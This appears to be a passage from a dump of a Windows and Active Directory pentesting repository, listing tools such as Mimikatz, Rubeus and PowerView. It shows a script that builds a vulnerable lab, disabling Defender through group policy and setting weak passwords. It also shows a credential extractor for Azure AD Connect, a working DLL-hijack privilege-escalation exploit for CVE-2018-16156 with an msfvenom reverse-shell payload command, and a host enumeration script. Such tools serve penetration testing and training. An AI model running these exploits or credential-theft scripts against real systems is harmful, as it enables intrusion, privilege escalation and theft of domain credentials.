├── ADPentestLab.ps1 ├── ADRecon.ps1 ├── Azure-ADConnect.ps1 ├── Bypass-UAC.ps1 ├── CVE-2018-16156.ps1 ├── Chachi-Enumerator.ps1 ├── Check-SYSVOL-Replication-Latency-Convergence.ps1 ├── DSInternals_v4.3.zip ├── DomainPasswordSpray.ps1 ├── Execute-Command-MSSQL.ps1 ├── Get-DecryptedCpassword.ps1 ├── Get-GPPPassword.ps1 ├── Get-PasswordFile.ps1 ├── Get-SPN.ps1 ├── Get-WindowsKey.ps1 ├── GetSystem.ps1 ├── Invoke-IFileOperation.ps1 ├── Invoke-Mimikatz.ps1 ├── Invoke-NinjaCopy.ps1 ├── PowerView.ps1 ├── Powermad.ps1 ├── Rubeus.exe ├── SharpHound.ps1 ├── Sharphound.exe ├── StandIn_v13_Net35.exe ├── StandIn_v13_Net45.exe ├── Tater.ps1 ├── attackdefence.com-walkthrough-2143.pdf ├── cmd.asp ├── mimikatz.exe ├── powercat.ps1 ├── powerup.ps1 ├── powerupsql.ps1 ├── powerview-dev.ps1 ├── powerview.ps1 ├── puckieshell443.ps1 ├── rev.ps1 ├── sharphound.exe └── windows-service-accounts-enumeration.ps1 /ADPentestLab.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | #Requires -Version 5.0 3 | 4 | <# 5 | Bug1: Shared Folder on Client workstation is not working properly. Permission issues, make it sharable with everyone. 6 | #> 7 | 8 | function Get-OSType{ 9 | <# 10 | .SYNOPSIS 11 | Get the Operating system type 12 | ProductType 1 is Client operating systems 13 | ProductType 2 is Domain controllers 14 | ProductType 3 is Servers that are not domain controllers 15 | . 16 | .DESCRIPTION 17 | Get-OSType returns the operating system type. 18 | .EXAMPLE 19 | Get-OSType 20 | #> 21 | 22 | [CmdletBinding()] 23 | param() 24 | 25 | $osType = (Get-CimInstance -ClassName Win32_OperatingSystem).ProductType 26 | Write-Output $osType 27 | } 28 | 29 | function Install-ADLabDomainController{ 30 | <# 31 | .SYNOPSIS 32 | Install Active Directory Role and promote the server to Primary Domain Controller. 33 | .DESCRIPTION 34 | Install-ADLabDomainController is used to install the Role of AD Domain Services and promote the server to Primary Domain Controller. 35 | .EXAMPLE 36 | Install-ADLabDomainController 37 | #> 38 | [CmdletBinding()] 39 | param() 40 | 41 | if((Get-OSType) -ne 3) 42 | { 43 | Write-Warning "Server Install not detected. Exiting!!" 44 | exit 45 | } 46 | 47 | $ForestName = Read-Host "Enter Forest name. For example covid.inc" 48 | try { 49 | Install-WindowsFeature AD-Domain-Services -IncludeManagementTools -ErrorAction Stop 50 | } 51 | catch { 52 | Write-Warning "Unable to Install AD Domain Services Role" 53 | exit 54 | } 55 | 56 | try { 57 | Install-ADDSForest -DomainName $ForestName -InstallDNS -SafeModeAdministratorPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -ErrorAction Stop 58 | } 59 | catch { 60 | Write-Warning "Unable to Install Domain Controller" 61 | } 62 | } 63 | 64 | function Initialize-ADLabDomainController{ 65 | <# 66 | .SYNOPSIS 67 | Configures Machine name and Static IP address. 68 | .DESCRIPTION 69 | Initialize-ADLabDomainController is used to configure friendly machine name and assign static IP address to the server . 70 | .PARAMETER NewComputerName 71 | The name of the machine. 72 | .EXAMPLE 73 | Initialize-ADLabDomainController -NewComputerName Skynet 74 | #> 75 | [CmdletBinding()] 76 | Param() 77 | 78 | if((Get-OSType) -ne 3) 79 | { 80 | Write-Host "Server Install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black 81 | exit 82 | } 83 | 84 | Write-Host ("Machine will be restarted after the changes").ToUpper() -BackgroundColor Yellow -ForegroundColor Black 85 | 86 | $choice = Read-Host "Do you want to change the name of the machine? (Y/N)" 87 | 88 | switch ($choice) { 89 | Y { try { 90 | $NewComputerName = Read-Host "Please enter new machine name." 91 | Rename-Computer -NewName $NewComputerName -PassThru -ErrorAction Stop} 92 | catch {Write-Warning "Unable to rename the Machine."} 93 | } 94 | Default {Write-Host "Keeping the same machine name" -BackgroundColor Yellow -ForegroundColor Black } 95 | } 96 | 97 | $netInterface = Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPv4Address,InterfaceIndex | Sort-Object InterfaceIndex 98 | 99 | Write-Host "Following are the network interfaces configured on this machine" -BackgroundColor Yellow -ForegroundColor Black 100 | foreach($obj in $netInterface) 101 | { 102 | Write-Host "Interface: " $obj.InterfaceIndex " IP Address: " $obj.IPv4Address 103 | } 104 | 105 | try{ 106 | [Int32] $selection = Read-Host "Select the InterfaceIndex for Primary Domain Controller" -ErrorAction Stop 107 | $StaticIP = Read-Host "Enter the static IP adress to assign this machine" -ErrorAction Stop 108 | [Int32]$SubnetMask = Read-Host "Enter the Prefix length for the subnet mask. Example: Enter 24 for Subnet 255.255.255.0" -ErrorAction Stop 109 | $GatewayIP = Read-Host "Enter the IP address of the Gateway" -ErrorAction Stop 110 | 111 | 112 | Remove-NetIpAddress -InterfaceIndex $selection -AddressFamily IPv4 -ErrorAction Stop 113 | Remove-NetRoute -InterfaceIndex $selection -AddressFamily IPv4 -Confirm:$false -ErrorAction Stop 114 | New-NetIpAddress -InterfaceIndex $selection -IpAddress $StaticIP -PrefixLength $SubnetMask -DefaultGateway $GatewayIP -AddressFamily IPv4 -ErrorAction Stop 115 | Set-DnsClientServerAddress -InterfaceIndex $selection -ServerAddresses $StaticIP -ErrorAction Stop 116 | Restart-Computer 117 | } 118 | catch { 119 | Write-Warning "Unable to set the IP Address. Manully restart the machine!" 120 | } 121 | } 122 | 123 | function Initialize-ADLabWorkstation{ 124 | <# 125 | .SYNOPSIS 126 | Assign a friednly machine name and configure the DNS to Domain Controllers IP address. 127 | .DESCRIPTION 128 | Initialize-ADLabWorkstation is used to assign the workstation a friendly name and configure the DNS IP address to point to Domain Controller. 129 | .EXAMPLE 130 | Initialize-ADLabWorkstation 131 | #> 132 | [CmdletBinding()] 133 | Param() 134 | 135 | if((Get-OSType) -ne 1) 136 | { 137 | Write-Host "Workstation install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black 138 | exit 139 | } 140 | 141 | Write-Host ("Machine will be restarted after the changes").ToUpper() -BackgroundColor Yellow -ForegroundColor Black 142 | 143 | $choice = Read-Host "Do you want to change the name of the machine? (Y/N)" 144 | 145 | switch ($choice) { 146 | Y { try { 147 | $NewComputerName = Read-Host "Please enter new machine name." 148 | Rename-Computer -NewName $NewComputerName -PassThru -ErrorAction Stop} 149 | catch {Write-Warning "Unable to rename the machine."} 150 | } 151 | Default {Write-Host "Keeping the same machine name" -BackgroundColor Yellow -ForegroundColor Black } 152 | } 153 | 154 | 155 | $netInterface = Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPv4Address,InterfaceIndex |Sort-Object InterfaceIndex 156 | Write-Host "Following are the network interfaces configured on this machine" -BackgroundColor Yellow -ForegroundColor Black 157 | foreach($obj in $netInterface) 158 | { 159 | Write-Host "Interface: " $obj.InterfaceIndex " IP Address: " $obj.IPv4Address 160 | } 161 | 162 | $selection = Read-Host "Select the InterfaceIndex for Workstation" 163 | 164 | $DomainControllerIPaddress = Read-Host "Please provide the IP address of the Domain Controller" 165 | 166 | try { 167 | Set-DnsClientServerAddress -InterfaceIndex $selection -ServerAddresses ($DomainControllerIPaddress) -ErrorAction Stop 168 | Restart-Computer 169 | } 170 | catch { 171 | Write-Warning "Unable to configure IP address for the DNS. Restart the machine manually." 172 | } 173 | } 174 | 175 | function New-ADLabDomainUser{ 176 | <# 177 | .SYNOPSIS 178 | Adds new users to the Domian Controller. 179 | .DESCRIPTION 180 | New-ADLabDomainUser configures three users on the domain controller and promote one of them to be Domain Admin. 181 | .EXAMPLE 182 | New-ADLabDomainUser 183 | #> 184 | [cmdletbinding()] 185 | param() 186 | 187 | if((Get-OSType) -ne 2) 188 | { 189 | Write-Host "Domain Controller not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black 190 | exit 191 | } 192 | 193 | #Add 3 Users Sarah Conner, Kyle Reese and John Conner. All with password "Password1" 194 | try { 195 | New-ADUser -Name "Sarah Conner" -GivenName "Sarah" -Surname "Conner" -SamAccountName "sconner" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true 196 | New-ADUser -Name "Kyle Reese" -GivenName "Kyle" -Surname "Reese" -SamAccountName "kreese" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true 197 | New-ADUser -Name "John Conner" -GivenName "John" -Surname "Conner" -SamAccountName "jconner" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true 198 | } 199 | catch { 200 | Write-Warning "Unable to create user account" 201 | } 202 | 203 | #Add John Conner to Domain Admins Group 204 | try { 205 | Add-ADGroupMember -Identity "Domain Admins" -Members "jconner" 206 | } 207 | catch { 208 | Write-Warning "Unable to add John Conner to Domain Admins group" 209 | } 210 | } 211 | 212 | function New-ADLabAVGroupPolicy{ 213 | <# 214 | .SYNOPSIS 215 | Adds new group policy to disable windows defender. 216 | .DESCRIPTION 217 | New-ADLabAVGroupPolicy configures a new group policy to disable windows defender. 218 | .EXAMPLE 219 | New-ADLabAVGroupPolicy 220 | #> 221 | [cmdletbinding()] 222 | param() 223 | 224 | if((Get-OSType) -ne 2) 225 | { 226 | Write-Host "Domain Controller not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black 227 | exit 228 | 229 | } 230 | 231 | try { 232 | $someerror = $true 233 | New-GPO -Name "Disable Windows Defender" -Comment "This policy disables windows defender" -ErrorAction Stop 234 | } 235 | catch { 236 | $someerror = $false 237 | Write-Warning "Unable to create the Policy." 238 | 239 | } 240 | 241 | if($someerror) 242 | { 243 | Set-GPRegistryValue -Name "Disable Windows Defender" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1 244 | Set-GPRegistryValue -Name "Disable Windows Defender" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableRealtimeMonitoring" -Type DWord -Value 1 245 | New-GPLink -Name "Disable Windows Defender" -Target ((Get-ADDomain).DistinguishedName) 246 | } 247 | 248 | } 249 | 250 | function New-ADLabSMBShare{ 251 | <# 252 | .SYNOPSIS 253 | Adds new share called hackme on the Domain controller and Share on workstation. 254 | .DESCRIPTION 255 | New-ADLabSMBShare configures a a share on both Domain Controller and workstation. 256 | .EXAMPLE 257 | New-ADLabSMBShare 258 | #> 259 | [cmdletbinding()] 260 | param() 261 | 262 | if((Get-OSType) -eq 2) 263 | { 264 | try { 265 | $someerror = $true 266 | New-Item "C:\hackMe" -Type Directory -ErrorAction Stop 267 | } 268 | catch { 269 | Write-Warning "Unable to create hackme folder" 270 | 271 | } 272 | if($someerror) 273 | { 274 | try { 275 | New-SmbShare -Name "hackMe" -Path "C:\hackMe" -ErrorAction Stop 276 | } 277 | catch { 278 | Write-Warning "Unable to create Share" 279 | } 280 | } 281 | } 282 | elseif ((Get-OSType) -eq 1) { 283 | try { 284 | $someerror = $true 285 | New-Item "C:\Share" -Type Directory -ErrorAction Stop 286 | } 287 | catch { 288 | Write-Warning "Unable to create hackme folder" 289 | $someerror = $false 290 | 291 | } 292 | if($someerror) 293 | { 294 | try { 295 | New-SmbShare -Name "Share" -Path "C:\Share" -ErrorAction Stop 296 | } 297 | catch { 298 | Write-Warning "Unable to create Share" 299 | } 300 | } 301 | } 302 | else { 303 | Write-Warning "Invalid install. Exiting!!" 304 | exit 305 | } 306 | } 307 | 308 | function Add-ADLabWorkstationToDomain{ 309 | <# 310 | .SYNOPSIS 311 | Adds the workstation to the Domain. 312 | .DESCRIPTION 313 | Add-ADLabWorkstationToDomain adds the new workstation to our domain. 314 | .EXAMPLE 315 | Add-ADLabWorkstationToDomain 316 | #> 317 | [cmdletbinding()] 318 | param() 319 | 320 | if((Get-OSType) -ne 1) 321 | { 322 | Write-Host "Workstation install not detected. Exiting!!" -BackgroundColor Yellow -ForegroundColor Black 323 | exit 324 | } 325 | 326 | try { 327 | Add-Computer -DomainName (Read-Host "Enter Domain Name") -Restart -Force -ErrorAction Stop 328 | } 329 | catch { 330 | Write-Warning "Unable to Add workstation to the Domain." 331 | } 332 | } 333 | 334 | $ADLab = @" 335 | Art by Veronica Karlsson 336 | . // 337 | /) \ |\ // 338 | VK (\\| || \)u| |F /) 339 | \```.FF \ \ |J .'/ 340 | __ `. `| \ `-'J .'.' 341 | ______ __.--' `-. \_ J >. `'.' . 342 | _.-' ""`-------' `-.`.`. / )>. /.' .<' 343 | .' `-._>--' )\ `--'' 344 | F . ('.--'" 345 | (_/ '\ 346 | \ 'o`. 347 | |\ `. 348 | J \ | / | \ 349 | L \ J ( . | 350 | J \ . F _.--'`._ /`. \_) 351 | F `. | / "" "' 352 | F /\ |_ ___| `-_.' 353 | / / F J `--.___.-' F - / 354 | / F | L J /| 355 | (_ F | L F .'|| 356 | L F | | | /J | 357 | | J `. | | J | | ____.---.__ 358 | |_|______ \ L | F__|_|___.---------' 359 | --' `-`--`--.___.-'-'--- 360 | 361 | _ ____ ____ _____ _ _ _____ _____ ____ _____ _ _ ____ 362 | / \ | _ \ | _ \| ____| \ | |_ _| ____/ ___|_ _| | | / \ | __ ) 363 | / _ \ | | | | | |_) | _| | \| | | | | _| \___ \ | | | | / _ \ | _ \ 364 | / ___ \| |_| | | __/| |___| |\ | | | | |___ ___) || | | |___ / ___ \| |_) | 365 | /_/ \_\____/ |_| |_____|_| \_| |_| |_____|____/ |_| |_____/_/ \_\____/ 366 | 367 | Author: @browninfosecguy 368 | Version: 1.0 369 | 370 | Usage: This Script can be used to configure both Domain Controller and Workstation. 371 | 372 | OPTIONS APPLICABLE TO SERVER: 373 | 374 | Option 1: Configure machine name and static IP address for the Domain Controller. 375 | 376 | Option 2: Install the "Active Directory Domain Services" role on the server and configure Domain Controller. 377 | 378 | Option 3: Set up network share on the Domain controller and Workstation. 379 | 380 | Option 4: Create Group policy to "disable" Windows Defender. 381 | 382 | Option 5: Create User accounts on the Domain Controller. 383 | 384 | OPTIONS APPLICABLE TO WORKSTATION: 385 | 386 | Option 3: Set up network share on the Domain controller and Workstation. 387 | 388 | Option 6: Configure machine name and set the DNS to IP address of Domain Controller. 389 | 390 | Option 7: Join the workstation to the Domain. 391 | 392 | "@ 393 | 394 | while ($true) { 395 | 396 | Clear-Host 397 | $ADLab 398 | $option = Read-Host "Select an option to continue (Choose Wisely)" 399 | 400 | switch ($option) { 401 | 1 { Initialize-ADLabDomainController } 402 | 2 { Install-ADLabDomainController } 403 | 3 { New-ADLabSMBShare } 404 | 4 { New-ADLabAVGroupPolicy } 405 | 5 { New-ADLabDomainUser } 406 | 6 {Initialize-ADLabWorkstation} 407 | 7 {Add-ADLabWorkstationToDomain} 408 | Default {"Please select right option!!!"} 409 | 410 | } 411 | 412 | } -------------------------------------------------------------------------------- /Azure-ADConnect.ps1: -------------------------------------------------------------------------------- 1 | Function Azure-ADConnect {param($db,$server) 2 | $help = @" 3 | .SYNOPSIS 4 | Azure-ADConnect 5 | PowerShell Function: Azure-ADConnect 6 | Author: Luis Vacas (CyberVaca) 7 | Based on: https://blog.xpnsec.com/azuread-connect-for-redteam/ 8 | 9 | Required dependencies: None 10 | Optional dependencies: None 11 | .DESCRIPTION 12 | 13 | .EXAMPLE 14 | Azure-ADConnect -server 10.10.10.10 -db ADSync 15 | 16 | Description 17 | ----------- 18 | Extract credentials from the Azure AD Connect service. 19 | 20 | "@ 21 | if ($db -eq $null -or $server -eq $null) {$help} else { 22 | $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db; 23 | Integrated Security = True;" 24 | $client.Open() 25 | $cmd = $client.CreateCommand() 26 | $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" 27 | $reader = $cmd.ExecuteReader() 28 | $reader.Read() | Out-Null 29 | $key_id = $reader.GetInt32(0) 30 | $instance_id = $reader.GetGuid(1) 31 | $entropy = $reader.GetGuid(2) 32 | $reader.Close() 33 | 34 | $cmd = $client.CreateCommand() 35 | $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" 36 | $reader = $cmd.ExecuteReader() 37 | $reader.Read() | Out-Null 38 | $config = $reader.GetString(0) 39 | $crypted = $reader.GetString(1) 40 | $reader.Close() 41 | 42 | add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll" 43 | $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager 44 | $km.LoadKeySet($entropy, $instance_id, $key_id) 45 | $key = $null 46 | $km.GetActiveCredentialKey([ref]$key) 47 | $key2 = $null 48 | $km.GetKey(1, [ref]$key2) 49 | $decrypted = $null 50 | $key2.DecryptBase64ToString($crypted, [ref]$decrypted) 51 | 52 | $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} 53 | $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} 54 | $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} 55 | 56 | "[+] Domain: " + $domain.Domain 57 | "[+] Username: " + $username.Username 58 | "[+]Password: " + $password.Password 59 | }} 60 | -------------------------------------------------------------------------------- /CVE-2018-16156.ps1: -------------------------------------------------------------------------------- 1 | # Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation 2 | # Exploit Author: 1F98D 3 | # Original Author: securifera 4 | # Date: 12 May 2020 5 | # Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html 6 | # CVE: CVE-2018-16156 7 | # Tested on: Windows 10 x64 8 | # References: 9 | # https://www.securifera.com/advisories/cve-2018-16156/ 10 | # https://github.com/securifera/CVE-2018-16156-Exploit 11 | 12 | # A DLL hijack vulnerability exists in the FJTWSVIC service running as part of 13 | # the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches 14 | # for a writable location, copies the specified DLL to that location and then 15 | # triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32 16 | # named pipe. 17 | 18 | $ErrorActionPreference = "Stop" 19 | 20 | # Example payload generated as follows 21 | # msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444 22 | $PayloadFile = "C:\Windows\System32\spool\drivers\color\shell.dll" 23 | 24 | if ((Test-Path $PayloadFile) -eq $false) { 25 | Write-Host "$PayloadFile not found, did you forget to upload it?" 26 | Exit 1 27 | } 28 | 29 | # Find Writable Location 30 | $WritableDirectory = $null 31 | $Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path 32 | $Path -Split ";" | % { 33 | try { 34 | [IO.File]::OpenWrite("$_\x.txt").close() 35 | Remove-Item "$_\x.txt" 36 | $WritableDirectory = $_ 37 | } catch {} 38 | } 39 | 40 | if ($WritableDirectory -eq $null) { 41 | Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable" 42 | Exit 1 43 | } 44 | 45 | Write-Host "Writable location found, copying payload to $WritableDirectory" 46 | Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll" 47 | 48 | Write-Host "Payload copied, triggering..." 49 | $client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation) 50 | $reader = $null 51 | $writer = $null 52 | try { 53 | $client.Connect() 54 | $reader = New-Object System.IO.StreamReader($client) 55 | $writer = New-Object System.IO.StreamWriter($client) 56 | $writer.AutoFlush = $true 57 | $writer.Write("ChangeUninstallString") 58 | $reader.ReadLine() 59 | } finally { 60 | $client.Dispose() 61 | } 62 | 63 | Write-Host "Payload triggered" 64 | 65 | -------------------------------------------------------------------------------- /Chachi-Enumerator.ps1: -------------------------------------------------------------------------------- 1 |  2 | $banner = @" 3 | .-----. .'``-. 4 | / ,-- | .- ``-. 5 | ,' ,-' ``. _.-' ,-.``.) 6 | ; / ,=---``--+' .- -. ``. 7 | ( \ ,' =,- ,' ( o ) | /\ 8 | : : / =,-' / \-' ;(o : 9 | \ | ' ; ( ``--' \ ; 10 | \ | = | \``--+ --. ``( 11 | ``+ =/ : : ``. ``. \ 12 | ' =/ \ ``--. '-. ``. ``. 13 | \ =; ``._ : ( ``-. ``. ``. 14 | \ = ; ``._.' ``-.-``-._\ ``-. 15 | \= ' _.-'_) (::::) 16 | ``+ -. ``--7' ``--``..' 17 | ( : .' ; 18 | \ | | / 19 | \ | _.-| +---' 20 | ``--+ ``. \ \ 21 | /``. '-.-\ ``--. 22 | / /#### ``----.' 23 | ( ,-'############\ 24 | \\/###############; 25 | \###############/ 26 | l1c0rd3b3ll0t4 |--------------| _.--------- 27 | :::::::::::::::|_.-'' 28 | ::::::::::_.-'' 29 | .-''..'---'-------'' CyberVaca@HackPlayers 30 | "@ 31 | 32 | 33 | 34 | function Get-Info { 35 | 36 | $OS = Get-WmiObject -Class Win32_OperatingSystem 37 | $Bios = Get-WmiObject -Class Win32_BIOS 38 | $sheetS = Get-WmiObject -Class Win32_ComputerSystem 39 | $sheetPU = Get-WmiObject -Class Win32_Processor 40 | $IPAddress= (Get-WmiObject Win32_NetworkAdapterConfiguration | ? {$_.ipenabled}).ipaddress 41 | $OSRunning = $OS.caption + " " + $OS.OSArchitecture + " SP " + $OS.ServicePackMajorVersion 42 | $NoOfProcessors=$sheetS.numberofProcessors 43 | $name=$SheetPU|select name -First 1 44 | $Manufacturer=$sheetS.Manufacturer 45 | $Model=$sheetS.Model 46 | $ProcessorName=$SheetPU|select name -First 1 47 | $Mac = (Get-WmiObject -class Win32_NetworkAdapter | ? { $_.PhysicalAdapter } ).macaddress 48 | $date = Get-Date 49 | $uptime = $OS.ConvertToDateTime($OS.lastbootuptime) 50 | $sheetPUInfo = $name.Name + " & has " + $sheetPU.NumberOfCores + " Cores & the FSB is " + $sheetPU.ExtClock + " Mhz" 51 | $sheetPULOAD = $sheetPU.LoadPercentage 52 | $serialnumer = (Get-WmiObject -Class Win32_BIOS ).serialnumber 53 | $RAM = (Get-WmiObject -class Win32_ComputerSystem ).totalphysicalmemory / 1gb 54 | $ram_round= [math]::Round($ram,0) 55 | $Disco_duro = $drives.Size / 1gb ; $Disco_duro = [math]::Round($Disco_duro,0) ; $Disco_duro = "$Disco_duro Gb" 56 | $windows_version = ([environment]::OSVersion).VersionString 57 | $Dominio = $sheetS.Domain 58 | 59 | $PC = New-Object psobject -Property @{ 60 | "Nombre" = $env:COMPUTERNAME 61 | "Sistema Operativo" = $OSRunning 62 | "Windows Version" = $windows_version 63 | "Procesador" = $name.name 64 | "Modelo" = $Model 65 | "Dominio" = $Dominio 66 | "Num. Procesadores" = "$NoOfProcessors" 67 | "Memoria RAM" = "$ram_round Gb" 68 | "Direccion IP" = [string]$IPAddress[0] 69 | "MAC" = $mac 70 | "Numero de serie" = $serialnumer 71 | "Disco Duro" = $Disco_duro 72 | } 73 | 74 | $PC } 75 | function Get-Discosduros {Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root} 76 | function Get-Usuarios { 77 | $usuarios = (Get-LocalUser | Where-Object {$_.enabled -eq $true}).name 78 | $grupos = (Get-LocalGroup -Name adminis*).name 79 | $administradores = Get-LocalGroupMember -Name administradores -ErrorAction SilentlyContinue; if ($administradores.length -eq 0 ) {$administradores = Get-LocalGroupMember -Name administrators -ErrorAction SilentlyContinue} 80 | 81 | $Info_usuarios = New-Object psobject -Property @{ 82 | "Usuarios" = $usuarios 83 | "Administradores" = $administradores 84 | "Grupos Locales" = $grupos 85 | 86 | } 87 | 88 | $Info_usuarios 89 | 90 | } 91 | function Get-ConfigRED { 92 | 93 | Start-Job -ScriptBlock { 94 | ipconfig /all 95 | Write-Host "`n[+] ================================== Rutas Estaticas =======================================`n" 96 | route print 97 | Write-Host "`n[+] ==================================== Tabla ARP ===========================================`n" 98 | arp -A 99 | Write-Host "`n[+] ==================================== Conexiones Activas ===========================================`n" 100 | 101 | Get-NetTCPConnection | ? {$_.State -eq "Listen"} | Select-Object LocalAddress, Localport, state | sort localport| Format-Table } | Wait-Job | Receive-Job 102 | 103 | 104 | } 105 | function credman { 106 | Param 107 | ( 108 | [Parameter(Mandatory=$false)][Switch] $AddCred, 109 | [Parameter(Mandatory=$false)][Switch] $DelCred, 110 | [Parameter(Mandatory=$false)][Switch] $GetCred, 111 | [Parameter(Mandatory=$false)][Switch] $ShoCred, 112 | [Parameter(Mandatory=$false)][Switch] $RunTests, 113 | [Parameter(Mandatory=$false)][ValidateLength(1,32767) <# CRED_MAX_GENERIC_TARGET_NAME_LENGTH #>][String] $Target, 114 | [Parameter(Mandatory=$false)][ValidateLength(1,512) <# CRED_MAX_USERNAME_LENGTH #>][String] $User, 115 | [Parameter(Mandatory=$false)][ValidateLength(1,512) <# CRED_MAX_CREDENTIAL_BLOB_SIZE #>][String] $Pass, 116 | [Parameter(Mandatory=$false)][ValidateLength(1,256) <# CRED_MAX_STRING_LENGTH #>][String] $Comment, 117 | [Parameter(Mandatory=$false)][Switch] $All, 118 | [Parameter(Mandatory=$false)][ValidateSet("GENERIC", 119 | "DOMAIN_PASSWORD", 120 | "DOMAIN_CERTIFICATE", 121 | "DOMAIN_VISIBLE_PASSWORD", 122 | "GENERIC_CERTIFICATE", 123 | "DOMAIN_EXTENDED", 124 | "MAXIMUM", 125 | "MAXIMUM_EX")][String] $CredType = "GENERIC", 126 | [Parameter(Mandatory=$false)][ValidateSet("SESSION", 127 | "LOCAL_MACHINE", 128 | "ENTERPRISE")][String] $CredPersist = "ENTERPRISE" 129 | ) 130 | 131 | #region Pinvoke 132 | #region Inline C# 133 | [String] $PsCredmanUtils = @" 134 | using System; 135 | using System.Runtime.InteropServices; 136 | 137 | namespace PsUtils 138 | { 139 | public class CredMan 140 | { 141 | #region Imports 142 | // DllImport derives from System.Runtime.InteropServices 143 | [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)] 144 | private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag); 145 | 146 | [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredEnumerateW", CharSet = CharSet.Unicode)] 147 | private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, out int Count, out IntPtr CredentialPtr); 148 | 149 | [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree")] 150 | private static extern void CredFree([In] IntPtr cred); 151 | 152 | [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredReadW", CharSet = CharSet.Unicode)] 153 | private static extern bool CredReadW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag, out IntPtr CredentialPtr); 154 | 155 | [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)] 156 | private static extern bool CredWriteW([In] ref Credential userCredential, [In] UInt32 flags); 157 | #endregion 158 | 159 | #region Fields 160 | public enum CRED_FLAGS : uint 161 | { 162 | NONE = 0x0, 163 | PROMPT_NOW = 0x2, 164 | USERNAME_TARGET = 0x4 165 | } 166 | 167 | public enum CRED_ERRORS : uint 168 | { 169 | ERROR_SUCCESS = 0x0, 170 | ERROR_INVALID_PARAMETER = 0x80070057, 171 | ERROR_INVALID_FLAGS = 0x800703EC, 172 | ERROR_NOT_FOUND = 0x80070490, 173 | ERROR_NO_SUCH_LOGON_SESSION = 0x80070520, 174 | ERROR_BAD_USERNAME = 0x8007089A 175 | } 176 | 177 | public enum CRED_PERSIST : uint 178 | { 179 | SESSION = 1, 180 | LOCAL_MACHINE = 2, 181 | ENTERPRISE = 3 182 | } 183 | 184 | public enum CRED_TYPE : uint 185 | { 186 | GENERIC = 1, 187 | DOMAIN_PASSWORD = 2, 188 | DOMAIN_CERTIFICATE = 3, 189 | DOMAIN_VISIBLE_PASSWORD = 4, 190 | GENERIC_CERTIFICATE = 5, 191 | DOMAIN_EXTENDED = 6, 192 | MAXIMUM = 7, // Maximum supported cred type 193 | MAXIMUM_EX = (MAXIMUM + 1000), // Allow new applications to run on old OSes 194 | } 195 | 196 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 197 | public struct Credential 198 | { 199 | public CRED_FLAGS Flags; 200 | public CRED_TYPE Type; 201 | public string TargetName; 202 | public string Comment; 203 | public DateTime LastWritten; 204 | public UInt32 CredentialBlobSize; 205 | public string CredentialBlob; 206 | public CRED_PERSIST Persist; 207 | public UInt32 AttributeCount; 208 | public IntPtr Attributes; 209 | public string TargetAlias; 210 | public string UserName; 211 | } 212 | 213 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 214 | private struct NativeCredential 215 | { 216 | public CRED_FLAGS Flags; 217 | public CRED_TYPE Type; 218 | public IntPtr TargetName; 219 | public IntPtr Comment; 220 | public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten; 221 | public UInt32 CredentialBlobSize; 222 | public IntPtr CredentialBlob; 223 | public UInt32 Persist; 224 | public UInt32 AttributeCount; 225 | public IntPtr Attributes; 226 | public IntPtr TargetAlias; 227 | public IntPtr UserName; 228 | } 229 | #endregion 230 | 231 | #region Child Class 232 | private class CriticalCredentialHandle : 